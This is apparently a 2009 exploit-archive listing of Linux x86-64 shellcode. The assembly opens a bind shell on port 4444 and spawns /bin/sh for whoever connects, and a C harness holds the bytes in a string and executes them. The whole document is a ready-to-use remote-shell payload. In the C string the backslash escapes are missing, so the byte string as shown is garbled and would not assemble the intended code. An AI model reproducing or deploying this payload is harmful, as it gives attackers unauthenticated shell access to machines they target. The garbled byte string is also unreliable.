/*
linux/x86-64  bindshell(port 4444)
xi4oyu [at] 80sec.com
http://www.80sec.com
 
 
BITS 64
xor eax,eax
xor ebx,ebx
xor edx,edx
;socket
mov al,0x1
mov esi,eax
inc al
mov edi,eax
mov dl,0x6
mov al,0x29
syscall
xchg ebx,eax ;store the server sock
;bind
xor  rax,rax
push   rax
push 0x5c110102
mov  [rsp+1],al
mov  rsi,rsp
mov  dl,0x10
mov  edi,ebx
mov  al,0x31
syscall
;listen
mov  al,0x5
mov esi,eax
mov  edi,ebx
mov  al,0x32
syscall
;accept
xor edx,edx
xor esi,esi
mov edi,ebx
mov al,0x2b
syscall
mov edi,eax ; store sock
;dup2
xor rax,rax
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall
;exec
xor rdx,rdx
mov rbx,0x68732f6e69622fff
shr rbx,0x8
push rbx
mov rdi,rsp
xor rax,rax
push rax
push rdi
mov  rsi,rsp
mov al,0x3b
syscall
push rax
pop  rdi
mov al,0x3c
syscall
*/
 
main() {
        char shellcode[] =
        "x31xc0x31xdbx31xd2xb0x01x89xc6xfexc0x89xc7xb2"
        "x06xb0x29x0fx05x93x48x31xc0x50x68x02x01x11x5c"
        "x88x44x24x01x48x89xe6xb2x10x89xdfxb0x31x0fx05"
        "xb0x05x89xc6x89xdfxb0x32x0fx05x31xd2x31xf6x89"
        "xdfxb0x2bx0fx05x89xc7x48x31xc0x89xc6xb0x21x0f"
        "x05xfexc0x89xc6xb0x21x0fx05xfexc0x89xc6xb0x21"
        "x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68"
        "x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89"
        "xe6xb0x3bx0fx05x50x5fxb0x3cx0fx05";
        
        (*(void (*)()) shellcode)();
}

// www.Syue.com [2009-05-18]